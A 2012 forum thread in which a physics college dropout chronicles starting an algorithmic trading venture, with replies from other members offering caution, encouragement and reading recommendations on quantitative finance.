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# Physics Life of a physics dropout
1. May 5, 2012
### meanrev
I decided to keep a topic to talk about my life as a college dropout, starting last week, for my own introspection, as well as to yield some insights/deterrences for others.
Just some background: I was an above-average physics freshman, not the best but also not the worst. I was pretty ambitious in freshman year, and had 11 classes one semester, doing well in various senior/graduate classes. But the problem was already stirring at this stage - my education was rather unstructured, and I was partly rebellious, while my advisers never knew my name. I took classes in quantum chemistry, fluid mechanics, statistical mechanics, differential geometry etc., and I never cared about my graduation credits.
At the same time, I had some involvement in extracurriculars. I was selected to represent our college at the Putnam Competition twice, I attended the International Mathematics Contest in Bulgaria, and I had an AIP award and publications under my name by the end of my first year. I became president of our SPS by sophomore year.
Halfway through sophomore year, I realized that quite a few of my classes wouldn't help my graudation requirements - foolish, really - and my expected graduation date would be stalled if I had wanted my double degree. I turned around and churned at humanities courses, PE requirements and so on and hoped I would find some way around my graduation. A problem never solves with time; and I soon changed my mind and decided I should perhaps still graduate early, but give up my physics degree in favor of mathematics. But graduating with a physics degree has always been my high school dream.
At this point, I was just wrestling with the frequently-encountered college mistakes. Nothing unusual. But a series of events changed my views completely:
- My mother lost her first job, my father became terminally ill, and we got poorer.
- The APS petitions against budget sequestrations, the Bell Labs shutdown etc.
My research adviser, a young but ambitious guy himself, decided on his own to market our research to the military for $20,000, and I became very disillusioned with the purpose of our work. Simultaneously, I happened to be at New Orleans for the Joint Mathematics Meeting in 2011, where I first learned of "statistical arbitrage" at George Papanicolaou Gibbs lecture. The enigmatic story of astrophysicists Nunzio Tartaglia whatnot captured me, and I began an aggressive reading of quantitative finance and so on. I remember the part in his address where he joked that there aren't many seminal papers in quantitative finance nowadays, because "When you find out how it works, you just want to go out there and do it." It turns out to be true. Coincidentally, I made a close friend while I was traveling inbetween my research stint. I went on and on about my views about mathematics and arbitrage - before I found out that he was a successful hedge fund manager. I learned a lot from him. He lived with me as I was doing my research, and at one stage, we were making more money trading at 2-3 AM than my research adviser was trying (futilely) to get funding from the military. He spent months writing proposals. We spent minutes getting there. The experience was surreal. I won't talk much about the ethical issues - there are people out there who think that what we do is immoral - but I'd say that monetary reward has never been my priority, even all through the financial difficulties from my family situation. Instead, I've always valued my autonomy most in my career, and it just happened that I was able to pursue my own interests more easily in this path. Besides, there are only a few ways to move capital between those who hold it and don't - and without our contributions to market efficiency, debt will be expensive and equity will be scarce. Capital markets are there for a farmer to protect his crops, for insurers to be insured themselves, and for airlines to be protected against fuel costs, and I don't see it immoral. As (<- edit: typo) this went on, I finally decided that I had a good shot at this at one point. My girlfriend, who was working at Goldman Sachs' asset management division at that time, was the first one to convince me that I won't be happy working for a financial company nor in research. I eventually convinced my parents that I want to take a shot at this, or fail trying. I adjusted my classes so I would have time to focus on this, took classes that the MFE students were attending, dropped my research and slept less than anyone for the entire semester. I had my reservations though - I felt that the networking opportunities of an internship were valuable, too, and that it would buy me more time to become confident and more prepared to set out on my own, but a chain of rejections made it clear to me that I would have as much chance trying on my own. So I made up my mind to start my financial company by the end of this year, beginning this summer. I weighed my opportunity costs, asked around for advice, and finally decided that it was naive of me to choose a college that cost all of my parents' life savings and more. I take about$96.3m of trades per month (makes sense: leverage is huge), and this was going to be the biggest trade I would take: to pool all of my education costs into my startup.
I promised my mother that I would first see to it that she can retire at ease, and that I would one day go back to college to finish my degree, then a physics PhD. I fear success as much as failure - because if I succeed, I would probably have too much on my hands to go back. They agreed that I would struggle to find the money to finish my double degree unless I had concentrated on my work full-time.
I tried to be a regular college student for the last 2 weeks of my time there. I did homework, attended classes, got home at 9 PM, and would spend all that time until 2 AM (when the Eurex opens) reading on quantitative finance, trading, business, whatever I can find. I backtested for hundreds of hours, programmed several strategies, even if it required learning 3-4 different programming languages in short shrift.
Day 1: I went back to college to pack up the things that I had left behind at my friends' apartment and clear my mailbox. On my way, I made a transcript request - a copy might come to use - and picked up a leave of absence form. I spent the rest of the evening with my girlfriend, watching some films.
Day 2: The next day, I listed what I considered my talents, personality traits, marketable skills/completed projects, and started to think about how to find a way to penetrate a market that has incredibly high barriers to entry. I still haven't found the perfect area to start up in, but I have to pursue several things at the same time for my self-improvement. I made some substantial breakthroughs in my trading strategy, and hoped to trade the Friday open - though it wasn't the right setting. Then I wrote some 300-400 lines of code for a nonlinear optimization problem in portfolio selection - I decided to diversify into equities, as well - and filed for my equities trading account in the meantime.
I talked to one of my ex-roommates at Harvard, showed him some results, and he decided to throw in $30,000 for our fund. We decided that he would have involvement in the trading itself, so I would take a 10% performance fee - that's smaller than the industry standard. 10% isn't a lot - I would take home a pittance from his investment, but having an extra$30K under management is a good start. I figured that the best setup is to open a third brokerage account, colocate my algorithm to his apartment at London, while I booked a flight to Tokyo for a mix of reasons: I could more easily carry out discretionary trading without being up at 2 AM whatnot, and I needed a small break from everything. I picked up a book to learn Japanese.
I told my friend that I am now barely making enough to pay for my rental (Cambridge is an expensive place to live in) and day-to-day living without much growth in my operations - so I need to figure out a way to earn more, and fast. I plan to raise enough to hire an accountant and incorporate, hopefully in less than 6 months. I reiterate that I still haven't figured out exactly what I am doing, but it doesn't hurt to be doing some small trading activities while I am at it.
I wrote my first goal in large font: do NOT become a daytrader. I always view daytrading as a job that doesn't require much ingenuity, and that doesn't run well with my physics background.
Last edited: May 5, 2012
2. May 5, 2012
### Devils
Man you and I share the same interest in making money, but you seem to have gone completely off track. Go back and finish degrees if you can, any science degree is generally useful in getting jobs.
As for quantum finance & program trading, its a high risk/high reward game when if you have enough capital. The trouble is you have nothing to fall back on if you plan doesnt work - in other words your personal risk management is wrong. Sounds like soon you will either be rich or bankrupt & homeless.
I've been in your shoes, I have a strong maths and programming background, but limited business sense, and lost $300K which virtually destroyed me mentally. Now I run businesses on a more conservative basis, buying business for 25% return on equity using Buffett-style analysis with big margins for error built in. You are sounding a bit depressed and desperate, things that force you into irrational decisions just like I did. Think seriously about getting professional help & advice. As an aside, I suggest you listen to the entire Warren Buffett MBA graduation lecture. Here's a quote that always sticks with me. Link http//www.tilsonfunds.com/BuffettUofFloridaspeech.pdf Last edited: May 5, 2012 3. May 5, 2012 ### meanrev I thank you for your kind advice. I really appreciate it. I'll elaborate on my decision to drop out and see if you still believe I have gone off track. The (predicted) maximum drawdown on my portfolio requires me to hold a certain amount of cash equity for the strategy itself to recover the losses that can and will come my way. If I go back to college at the end of summer, my living expenses plus tuition will exceed my possible drawdown and make trading implausible for me, shutting out my only form of income (trading) during this time. Yes, I will still have enough to meet margin requirements and trade, but it makes no sense to hold insufficient capital to stage a recovery, so I *will* have to close my brokerage accounts. Not to mention, this is a full-time effort; I cannot be in school while I trade, I will fail at one of them. Assume I close my accounts. Given the rate of my living expenses, my family's savings AND my previous trading capital will go negative in my final year of college, before I can graduate. I have explored the possibilities of loans, lottery etc., but nothing works. The only redeeming possibility would have been for me to find a job that would yield equal or higher rates of returns as my trading income (if not higher) during the summer, so that I have a chance at mitigating the large one-time expenses of tuition at the end of summer. Unfortunately, I didn't manage to find such a job. Going back to college if I cannot afford college, at this point, is like buying a one-way ticket if I cannot afford the return trip. I've seen people playing the guitar in the Boston subways, holding a sign that reads, "Penniless traveler". Now, certainly, I can hope to survive as a penniless traveler through my remaining college journey, but I am the type who would rather not travel if I cannot afford it. Desperate, yes. But I am of very clear state of mind to accept the fact that I cannot afford college now. In fact, I wrote my last will and testament and will get it notarized later this week. Because now I am holding a substantial amount of money (not enough to see me to the end of college, nonetheless) in my brokerage accounts, and it makes sense to give my parents legal defense in their favor should I die in an accident. It has also always been my character to make my own free decisions, and I would probably have done a startup after college, had I graduated. I don't like making money. Most people have green and red graphs on their trading screens; my candlestick charts are all white. If I had infinite money, I will burn most of it - because inflation is bad for the economy. Then I will finish my degrees. **** I just saw your new edits: I am sorry to hear about your experience. It is harrowing and does strike fear in me. I will tread with caution. Last edited: May 5, 2012 4. May 5, 2012 ### Mépris Call me old fashioned but I think dropping out looks like a bad idea. "What happens to your money if you die?" is a reasonable question to ask but what about "What will I do if my trading endeaours fail?"? Really, I wish you the best of luck and I hope you (keep) succeed(ing) in what you're doing but have you considered asking your school for financial aid? At most schools who do offer aid - my understanding is that most liberal arts colleges do -, if one's financial situation changes, their aid packages are adjusted accordingly. The caveat is that one must've been receiving financial aid since freshman year. (although some do allow one to apply at a later point) Best of luck! 5. May 5, 2012 ### meanrev Mépris - I explored financial aid options but nothing is available to me, unfortunately. It's true that I need to have a backup plan. I don't intend for trading to be the centerpiece of my work, but haven't yet found the right plan given the little amount of time I've had so far. Thanks a lot for your wishes, I'm most grateful. I'll keep you guys updated on this thread! 6. May 5, 2012 ### chill_factor obviously, not all dropouts are going to make millions of dollars. only 23% of people in the US have a bachelor's degree yet 70% go to college. We don't have 47% of the population be millionaires. if you can drop out and be successful, you'll be successful no matter what since you were just born with it. 7. May 10, 2012 ### meanrev @chill_factor: That's very true, and that's precisely the purpose of setting up this thread: we often hear about the very few successful dropouts, but we forget the vast majority of dropouts who are expected to make less than graduates that we never hear about. I'm not fooled by the confirmation bias. This is a thread for people to know what they're getting into. I spent the last 5 days doing independent reading that's no different from what I'd be doing in a summer internship. Had 2 hours of sleep on Sunday shuffling my equities portfolio and building a spreadsheet for future weeks, analyzed the fundamentals on about 30 securities then went into about half of them. Subsequent days yielded 5, 4, 0 hours of sleeps respectively. Made use of the code that I've written previously (see above post) from my project in my nonlinear optimization class to construct a pretty strong portfolio, up 1% on Monday yet down only 0.5~% over the next two days, outperforming the market in general. On the other hand, my trading results are attracting some attention from other small investors, I had to decide on a performance/management fee yesterday. I now have several accounts - data, brokerages etc. and I lent out one to my partner/ex-roommate. At this moment I've liquidated my US equities portfolio, exactly as the S&P peaked the third time around 10.08 AM. I will spend the rest of the day preparing a presentation and report for my girlfriend's final project on her quantitative finance class ("prepare an algorithmic trading strategy" - easy, as compared to a "profitable" trading strategy). I have hundreds of hours of historical tests for different situations - and with some luck on my side, I guessed the movements correctly on the DAX for consecutive times, an unbroken streak for this week. Overall, I concluded the week spending (lavish lunch treat) much more than I earned. But I sleep well tonight. 8. May 10, 2012 ### Devils I've played around with nonlinear optimization strategies (like simulated annealing) for finance as well. Its fun and may lead to money-making strategies, maybe not. Long Term Capital Management had some great ideas too http://en.wikipedia.org/wiki/LTCM#1998_bailout What you are doing sounds awfully like day trading, or very short term trading. I bet you enjoy the excitement, but that says more about your personality than what's best for your future. Whether your trading makes money in the long term is another thing, the odds are not in your favour. Fro reading I'd recommend looking at Taleb's book http://en.wikipedia.org/wiki/The_Black_Swan_(Taleb_book) or stock arbitrage ( you I know arbitrage would be boring for you) https://www.amazon.com/Warren-Buffett-Art-Stock-Arbitrage/dp/1439198829 Last edited by a moderator: May 6, 2017 9. May 11, 2012 ### meanrev Devils - thanks for the recommendations. I've studied LTCM in the quant finance class at my college, but I've not read Taleb's book. Is there a seminal paper on simulated annealing that you could point me to? Definitely, the odds are not in my favor (it is said that some 75-85% of traders are losing money, and 95+% of newly opened margin accounts go bankrupt or close within a year), and I mentioned that my goal is to become !=(a day trader). I like excitement, but I've always been the unluckiest and therefore most risk-adverse person in my life. I even pick the airline to fly according to safety records. So why this path? Clearly, there has to be a chance for profit for me to decide on this. I need to clarify my stance on this. 1. Capacity. Most institutional traders have enough capital to "self-destruct" their positions from the liquidity risk alone. Well, with some leverage, even I have enough capital to make my order visible to people across the world, on some illiquid futures and low capitalization stocks, and just placing that order (even if it isn't executed) can change things. For this reason, the high-AUM traders are imposed the heaviest constraint - they can only trade "high capacity strategies", many of which promise fewer profits precisely because of a market saturated with buy-side firms with the same constraints, and it makes sense: it costs more resources and incurs much more operational risk if they were to instead engage in many "low capacity strategies", even if the latter promised more upside. There are other constraints (typically coming from the management) that I don't need to satisfy at this stage. Since we're both familiar with optimization, and you clearly more than I do, we should find it clear that a constraint in such an optimization problem reduces the objective maximum. I find it to my advantage that I can trade low-capacity strategies with fewer constraints. 2. The lines are easily blurred; a daytrader can be called a proprietary trader if he only trades his own money (and especially if that money happens to be a big sum), or if passed his Series 7 examination and has an account with a "proprietary trading firm", instead of a retail brokerage account, with access to professional leverage. An institutional trader is technically called a daytrader if he opens and closes the same position within the same session, yet we rarely call them that. A "quant trader" might also be a glorified programmer. While I have pointed out that my main goal is to find success mutually exclusive of daytrading, I have several prejudices against terming my current/prospective activities as "daytrading": - I am managing other people's money, actively finding more client funding, and offering an asset management service. (Well, note that hedge funds aren't allowed to solicit for funding, but I don't have 20m of capital to be held to such a restriction, nor 1m of capital to be called an accredited investor, which is why you don't see such a criterion used to determine if you're a daytrader or not.) - I have a certain growth strategy, even for my trading alone - and because my focus is on algorithmic trading, it doesn't just involve holding more positions, but chiefly involves improving infrastructure (co-location, better hardware) and hiring as many people as it takes (accountants, legal compliance, risk management, programmers). Now, the typical daytrader reinvests from holding more positions alone - there's nothing wrong with that, you can make millions a year from this - but for personality reasons, I'd much rather make less, but offer services rather than make millions in a fancy home. I think the ratio of planned allocation of reinvestments in infrastructure to position size makes a difference. - Daytraders have a tendency to advocate a load of crackpot theory, and coming from a background where I've seen *really* good crackpots, I think I can evade such a future. My work involves a significant amount of modeling and programming, which does not fully disqualify me from being a crackpot, but does give me some chance of not being one. To end it on a relevant note to the rest of the readers, it makes little sense to quit a physics program in college to do a menial task with minimum wage, unless there exist exceptional reasons for potential upside. From this point of view, I've considered the limited paths to success that laid ahead had I left college, and opted for this. 10. May 11, 2012 ### twofish-quant The fact that you are making anything at all is truly outstanding. Congratulations. The only piece of advice I have is to be careful how you expand. If it turns out that you are hitting the limits of your trading strategy trying to push it past it's limits can cause big problems. If you need money, then you just moonlight at some random job while you learn more about the market. Most day traders are actually just gambling, and they are bad at gambling. 11. May 11, 2012 ### twofish-quant Even if you fail at this, it will still look great on your resume. Community college courses can't be that expensive. 12. May 11, 2012 ### twofish-quant It doesn't sound that way to me. The reason it sounds to be like "real" trading is that he is barely breaking even. The thing about most day traders is that they don't keep very close track of the money that they lose. Our friend is dealing with a hard budget so if he loses money, he notices. 13. May 11, 2012 ### twofish-quant Most of high frequency institutional trading involves essentially figuring out how to avoid shooting yourself in the foot. You are a mutual fund that wants to buy or sell$X million in stock. If you just show up to the market and say I want to sell $X million in stock, you will get killed. So you have an experienced trader execute a trading strategy that will allow you to buy/sell$X million in stock without getting killed and you pay the trader a commission for doing that.
Yup. There are some stocks in which the traders can figure out who is trading from the patterns.
For the big investment banks, the profit comes from the brokerage fees and commissions. You aren't trying to "beat the market", you are trying to "hit the market" so that you have happy clients. Even *hitting* the market is a massive pain.
I don't think you are daytrading. Calling someone a day trader is a lot like calling someone an "astrologer" and "day trading" has as much to do with finance as "astrology" has to do with astronomy.
The thing about it is that you don't *sound* like a day trader. You are asking the right questions, and you seem to be aware of the risks. The one thing that I would do is to maybe to some more networking and show up an finance talks and area seminars. Get to know people and have them know you.
And I think you are going to do pretty well.
14. May 14, 2012
### meanrev
That's a sound advice. It indeed worries me most (my first post on this forum was about networking, too). I might show up at a few IAFE conferences to start.
I've thought of taking courses part time at a community college. My plan right now is to use Academic Earth/OCW to do some lateral learning on a consistent basis. The only shortfall is that it's hard to find the discipline to complete a course in continuous fashion. The good thing, however, is that I'm used to not attending classes regularly, to begin with. I'm looking forward to edX this fall.
By the way, are you the same twofish from Wilmott?
That's very true. I see this strange idea being shared by most daytraders, which is that GS is some kind of trading god, but I get the feeling that they're entirely missing the sell-side activities of GS. To put it in perspective, my futures broker holds $1.5b of customer funds, and from my account alone, I generate them$4000+ of gross (before they pay the exchanges etc.) income every month. Now, for the $22.6b of customer funds held by GS's futures brokerage/clearing services, that's a remarkable of money they're roping considering that they're market neutral. (cftc.gov/ucm/groups/public/@financialdataforfcms/documents/file/fcmdata0312.pdf) I don't see good odds for staying in the market for too long. I'm really skeptical of sustaining this for a reasonable amount of time (even 5 years). If I were to have a fantasy business model, I'd prefer to be doing market-making in the manner of GETCO/Knight Capital, or perhaps HFT trading as in Jane St/Rentec. Anyway, thanks a lot for your encouragement and kind words. I like the analogy between astrology and daytrading. I'd love to hear more of your thoughts as I update this thread in the future. **** Some update on my progress (I'll try to make my posts more useful for the regular physics readership): With regards to networking, now that I've gone independent, I start to see some of the good things about being a student (previously). You get extremely discounted rates to conferences, regular updates on networking events near you, and I've never made good use of them. The other lesson I've learnt, is that your regular high school friends all end up in the working world with you. The guy that you never paid attention to simply because he wasn't in your "clique" might well be the guy you want to hire, or at least work with, now. Networking starts early, I suppose. The other thing is that I get the feeling that you can fail and try again more as a student than out here. You can always fall back on the fact that you're in college to ask stupid questions, or to excuse your mistake and try again. There's a greater sense of opportunity cost and urgency, to choose something better to do at any given time. I like this notion of putting more weight on execution. One of the reasons I quit my college was that the modal view of people around you is that the key is to find some grand idea. And so when I call someone up at 4 PM in the afternoon saying that I want to do something, say, build a website, the resistance I get is because it's not a "good idea". On the other hand, I'm the sort who's never had a great idea - but I have many normal ones, and my emphasis has always been on the execution. "I see a bunch of good choices, and there’s the one that you pick and make great." -- businessinsider.com/executives-share-the-best-advice-they-ever-got-2012-3#marissa-mayer-vp-google-3 I spent the weekend helping my girlfriend with her trading project. I didn't come up with anything particularly ingenious, although I chanced across a decent way of evaluating chance in a trading strategy with a Monte Carlo method (burns-stat.com/pages/Working/evalstrat.pdf) I've seen basic methods like using naive buy-and-hold as a benchmark, or carrying out a walk-forward optimization packaged with trading software, and the idea of bootstrapping with random portfolios is as simple but more effective. I decided to use the chance to kill two birds with one stone; I wrote the code to carry out the Monte Carlo simulations, and used it to evaluate the trading strategy for my girlfriend's project. Physics has helped a lot. One of the early lessons I received from friend while he still managing his hedge fund was that no one would write a book or teach you how to trade unless (1) the method has already run out of profits (2) he can't make enough money from trading to make it more worthwhile than teaching The good thing, for me, is that I'm not afraid to do something even if it involves substantial math or programming, while others are the mercy of contract programmers, financial advisers, consultants etc. Now, I noticed that thousands of dollars of work is easily accessible for free on the MATLAB Central, and that all it takes is a couple of days (for me, less for others) to make it something useful. For instance, this is the cleanest description of cointegration analysis that I've ever seen (mathworks.com/company/events/webinars/wbnr55450.html?id=55450&p1=961661643&p2=961661661), pointing out some common mistakes in the use of the Engle-Granger/augmented DF/Johansen/Philips-Ouliaris procedures, it's all available for free - while some traders (won't name) charge$3000+ for a half-day course on the same material.
15. May 14, 2012
### twofish-quant
Yes.
And the fact that you are even aware (and keeping track) of this, puts you ahead of most people. Most gamblers don't realize how much the casino is making, and most casinos make it difficult for gamblers to realize where the money really is being made.
You are learning lots of stuff which will be useful. The big problem that you'll have is getting past the gatekeeper. Without letters behind your name, the person in HR is just going to toss your resume. However, if you can keep this going for a few years, and "meet people" then I think you'll find someone useful.
In any case, one thing that's good is that if you blow up, you'll blow up quietly. It's not as if you'll take down the world financial system.
Yup. That's one reason I have sort of stayed out of high frequency trading and am mostly in the world of derivatives. If someone wants to sell you a derivative, there is pressure to talk about how the derivative was valued. High frequency trading is another world in which people don't talk very much.
Which is weird since there are very few secrets. People move around from firm to firm, any trading strategy is going to be widely known. However, I think there are some interesting game theory here (I know X. You know X. However, what matters is if I know that you know that I know X.)
The other thing is that you are small enough to take risks. If you write a MATLAB routine, and it turns out that there is a serious bug in it such that you lose a chunk of money, then it's just experience. Once you start dealing with huge sums of money, you end up with tons and tons of bureaucracy, and ten people looking over every equation.
16. May 19, 2012
### kenkhoo
Sorry to threat-jack. I'm a masters student in physics and I'm pretty interested in trading too. I was quite an on hand trader but I've never looked much into algotrading and such - not much exposure on these matters due to the fact that I'm in a third world country.
Any suggestion (texts/articles) to get me started?
17. Jun 4, 2012
### meanrev
Thanks a lot for the advice, I can't express how important it means to me. I'll keep your words in mind for the next - I don't know - 1, 2, 5, 10... years to come until I get there.
*****
kenkhoo: Sorry that I haven't had the time to update recently. I'd recommend
[1] Farbozzi et al (2006) Financial modeling of the equity market, from CAPM to Cointegration.
Frankly, you could do without the 2nd text if you have retail trading experience - I finished reading the parts I needed in an hour. [3] Ruppert has a section in "Statistics and Finance" where he covers portfolio theory, which I think goes well with the early chapters of Farbozzi. I also found it easier to implement momentum strategies to get started than mean reversion strategies, because libraries for technical indicators are easily available, whereas retail trading software makers assumed something simple like an Engle-Granger test wouldn't ever be used by its clientele, so I had some learning and coding effort to do before I could build a MR strategy. I don't need to remind you to be be very, very careful to avoid snake oil and moonstone when it comes to literature on technical analysis, but a good one is
[4] Murphy, J. J. (1999) Technical Analysis of the Financial Markets: A Comprehensive Guide to Trading Methods and Applications
I'm obviously biased towards spread trading strategies, because that was what got me into the field in the first place, and good papers are:
[5] Avellaneda & Lee (2010) Statistical arbitrage in the US equities market.
[6] Thomaidis (2012) Statistical arbitrage and pairs trading (lecture ntoes)
[7] Gatev et al (2008) Pairs Trading: Performance of a Relative Value Arbitrage Rule
I estimate you probably have more physics AND trading experience than me - so you might want general knowledge that's useful in coming up with a trading strategy. [8] Hull's Options, Futures and Other Derivatives is a classic recommendation, but might be beneath you. You should obviously get the latest edition possible, and I found it rather expensive and couldn't bring myself to buy it and only got the chance to read it because my girlfriend was Hull's student. Otherwise, I hear [9] Joshi's Concepts and Practice of Mathematical Finance is a gentle introduction to the field in general. I think the material in [10] Tsay's Analysis of Financial Time Series will help you with [11] McNeil, Frey, Embrechts on Quantitative Risk Management, whose first two chapters are the cleanest introduction (with decently recent qualitative background about risk management and the Basel III framework) to historical methods like the ES, VAR, copula that I've found. [12] Ruppert's other book on Statistics and Data Analysis for Financial Engineering overlaps the material in McNeil et al, but isn't as well-organized or pedagogically written in my opinion. However, the additional material on Monte Carlo methods in Ruppert's book complements McNeil et al. There's a wealth of content past Chapter 10 that I didn't get the chance to read, but it seems to go out of quantitative risk management to overlap with the material in Farbozzi (recommended above).
I also like seeing things from the investment bankers' point of view, hedge fund managers' point of view, mutual fund managers' point of view and large daytraders' point of view. Respectively:
[13] Kuznetsov (2006) The Complete Guide to Capital Markets for Quantitative Professionals
[14] Stefanini. Investment strategies of hedge funds.
[15] Lynch. One Up On Wall Street: How to Use What You Already Know...
[16] Schwartz. Pit Bull (the back 10-20 pages especially)
A lot of ideas can be found by reading SSRN, Wilmott and Ernie Chan's blog. My recommendations above are really broad, once you decide to choose to go the route of analyzing Twitter messages for market sentiment or building a 20-legged spread across the maturation curve, there are much more specific readings.
I hope I've helped.
*****
So what have I done for the past 2 weeks? I finished the backtesting and development for my first fully automated strategy. The risk measures were acceptable to my taste - so I finally managed to trade it on last Friday, where it was getting volatile. I lost 950 euros in less than 20 minutes and I was out for the day. It isn't nice when the first trade of your automated strategy is a losing trade, even if the logic tells you that it's perfectly normal. Fortunately, my ex-roommate (who's investing in me) was there to encourage me. I also finally got funded from him and I opened a separate account for his balance.
I got a chance to talk to one of the winners of last year's Rotman Trading Competition and he was pretty impressed by the amount of work I've managed to put into this, and suggested that we meet for dinner some time. One possible contact down the road.
My other time spent was mostly on getting ready for my trip to Tokyo. I took the opportunity to organize old files and build a private database online with a collection of e-books (I have the physical copies, but I can't carry them), journal articles for my research and code, which I figured will be hugely advantageous in the future when I have to collaborate with multiple people. Besides, it protects me against loss of data. My books are mostly on physics and math, as I've noticed that a higher frequency of finance/business/trading books are utter rubbish. My plan is to run only that 1 algorithm while I'm in Tokyo, while spending some quiet time doing lots of reading.
The next big progress that I made was also infrastructural. If I traded from Tokyo, then data would stream over from Chicago, then my order would have to be routed to the brokerage's risk management engine back in Chicago, before it goes out to the Eurex's matching server in Frankfurt.
Wissner and Freer have an excellent paper on the Physical Review E, "Relativistic statistical arbitrage" (http://www.alexwg.org/publications/PhysRevE_82-056104.pdf) which explains the importance of this delay, amongst other things. I figured I would be losing full seconds trading from Tokyo - but more importantly, I was worried that my connection would break down in a position where it's difficult to contact my broker.
So I made up my mind to colocate my algorithm in Chicago. Now, I've long planned to do this - but at this stage it's still too early. Moreover, my plan isn't to compete with the high-frequency traders (yet), so the 20-30ms times to Chicago from Cambridge sufficed up till now. Nonetheless, the whole Tokyo issue just pressed for me to colocate earlier.
And so I went through the machinations to build a virtual machine on a server in Chicago dedicated to trading. My initial plan was to construct a stateless virtual hard disk, upload it onto the Windows Azure cloud, and then do a persistent installation of my code and platform, then run it via a remote desktop connection. I reasoned that Azure is on the same internet backbone, and it's fast - much faster than other cloud providers.
The plan is flawless, but the execution was much more difficult than I expected and I didn't have the time accomplish this and I have to start packing for my trip. So I set Azure aside and looked for another provider. Long story short, I finally did. I've never managed a 'true' server in my life, so there was lots of learning curve to climb and when I was finally set up, I anxiously sent a few pings to the brokerage's server. It averaged 1775 microseconds, with 54 microseconds in standard deviation. I couldn't contain my excitement, because now it would only take $58 per month to run this full-time, and people pay in the order of$8,000-\$15,000 per month to get a rack at CME's data center in Aurora for 250 microsecond execution rates.
My next step is to develop a second algorithm to complement this one, so I can fully utilize 12-14 hours of trading time. After that, I've looked around at availability of other means of colocation, commission costs, brokerages and liquidity of other derivatives and I started to eye a strategy for the Kospi 200 in the distance - because that would let me trade an extra few hours in the day.
Mission accomplished, and I set off for Tokyo in 12 hours with only a flight booking. I'll learn some Japanese on the way there. I assume the most useful sentence I need is to ask for directions, a la: "(name of place) wa doyatte ikimasuka?"
Because what's most important in life is to know where I'm going.
18. Jun 5, 2012
### phylotree
I dropped out of my graduate school long ago. I supposed I could do better than was to be sticky to the courses. I could write up at least 4 publications in one year on my own. That was because I was taught full-time by greatest online professors ever at the time and so my level became a little higher than the current courses. I decided to leave because I had no money to continue my study while I wasn't supported by many professors around. My decision helped me learn a lot from people in the schools, from their "real" attitudes to their "real" human interactions that they "performed" upon me. Now I have grown up more than before and have got a full-time job...The job is just a reason for me to make up what I lost in the past. I am a programmer, and really love what I am doing.
I have done pretty much with static typed languages but have not spent much enough with dynamic ones. I am sure I am leaving the current job as soon as I could grasp all the basic structures/constructs out of them. I now can create desktop applications by myself, but I didn't realize how to publish any for them to be viewable on the web, which is the stage I am into now with dynamic languages. After I learn enough that I can grow my own wings to soar, making my applications to communicate with each other over the web may probably is the last phase I am in need of later on.
19. Jun 6, 2012
### kenkhoo
You've helped a lot - by getting me started! To be frank, I'm stucked in grad school for few years now... No outcome yet. And recently (particularly by reading your post) I've renewed interest on algotrading. Previously I've read on Quantative Trading by Ernest P Chan, but I've never put in solid actions (laziness, partly).
I can't help to agree more on this. Awesome job, btw... Do keep us updated & I wish you all the best in your tradings!
edit: I'm skimming through some materials now. I'll concentrate more once I have my article out.
20. Jun 8, 2012
### meanrev
I landed in Tokyo two days ago. Both girlfriend and I missed our flights, funny enough. I flew on the same timezone for 28 hours or something. (Boston -> New York -> Toronto). Sad.
On the bright side, it was the first day to try out my algorithm and server - I put it on autopilot and went for some convenience store food. Came back and I was losing 250 euros. Then I had to check out of my hotel and travel to the city center, so I worried a little but decided that it's safe to leave the server running since I have a stop loss with the exchange. I finally settled down at my hotel 4 hours later, and saw a host of messages from my friend about how he couldn't bring himself to eat breakfast because we were hovering near stop loss and all that. Then I said wait a minute, let me see (this was around 11 AM Zurich time for the German DAX), and I noticed the highs were nearing the opening price (which acts as a resistance level, as technical analysts would say), which was a crucial point - it either breaks out or pulls back. So I logged in at the perfect timing- at this stage we were only up 200 euros - I said watch, the trade will close in the next few minutes and you can have your breakfast, whether we lose or make it. And voila, 1600 euros in his pockets. And I felt pretty prophetic.
I had warned my friend that I will be overleveraging with his account - but he has little option because he can only afford a small minimum investment, and he still wants to go ahead. And fortunately, the first trading day for the server was good, and I just increased his personal savings by 12% in the matter of 4 hours. Advised him not to celebrate though, he'll lose similar amounts on certain weeks, so the effective profit is much less than it looks.
On another side, I do make reasonably more than investment banking interns. Just enough to stay at the largest suites in regular 5 star hotels in Tokyo, but not enough to be a regular at the Mandarin Oriental. It comes with lots of frugal planning to get frequent stayer/flyer mileage with least cost. I have Excel spreadsheets just for that. After that, you only pay for a discounted rate on the lowest room rate. And to emphasize, I did eat only convenience store instant noodles. I just thought pretty cheekily when my college instincts made me hold the lift for random guests at the hotel and in return for the favor, they commanded me to press their floor for them (though I happily obliged, since I was going to ask courteously anyway). I'm happy with my physics sophomore appearance and still wear the same watch I've had since last year of middle school. I hope I can succeed in what I'm doing without ever sacrificing this autonomy; I don't like dressing up for others. Without seeming immodest, a photo of the fire exit plan for the room (yes, this is the top floor) and just a small photo of the study where I managed my server in Chicago remotely.
http://a3.sphotos.ak.fbcdn.net/hphotos-ak-snc6/181807_381643271893147_1177638806_n.jpg [Broken]
http://a5.sphotos.ak.fbcdn.net/hphotos-ak-ash3/600599_381643318559809_1642201888_n.jpg [Broken]
*****
^phylotree: Very interesting. I don't know what to add, except that my impression is that there's a trend that 'decision-making' is becoming profitable. A lot of people mix this up with 'web applications'. Take it very simply, Google makes a lot of 'decisions' for you - it stores a predicted profile of topics that interests you, it gives you directions based on your location by default, it recommends pages and local businesses (e.g. food) to you and Chrome translates things for you now almost by default. Facebook's feed decides what are the most important updates about your social circle for you.
I notice this all the time on TechCrunch, VentureBeat whatnot - that there's a whole slew of startups FB/GOOG wannabes whose idea is simply a cool application, backed by a cool team with ambition and a laid-back tech campus corporate attitude. Now, don't get me wrong, their work is very remarkable and they've done a good job acquiring more funding than I ever would. However, many of the startups seem to be feeding a Web bubble 2.0. (Before scaring you all, though, I did a quick calculation of the market cap of all web startups as a percentage of US GDP and it has been on the rise since 2008, but not to the alarming levels of 2000~. Although their P/E ratios suggest that they're pretty diamonds, I was pretty disappointed as I took 2 hours to compile the data and write code to put it all together and was hoping for a huge short trade opportunity. I'll be honest though, there are many disappointing moments - whereas I found the return-on-effort effect much more consistent when I was still into academic research.)
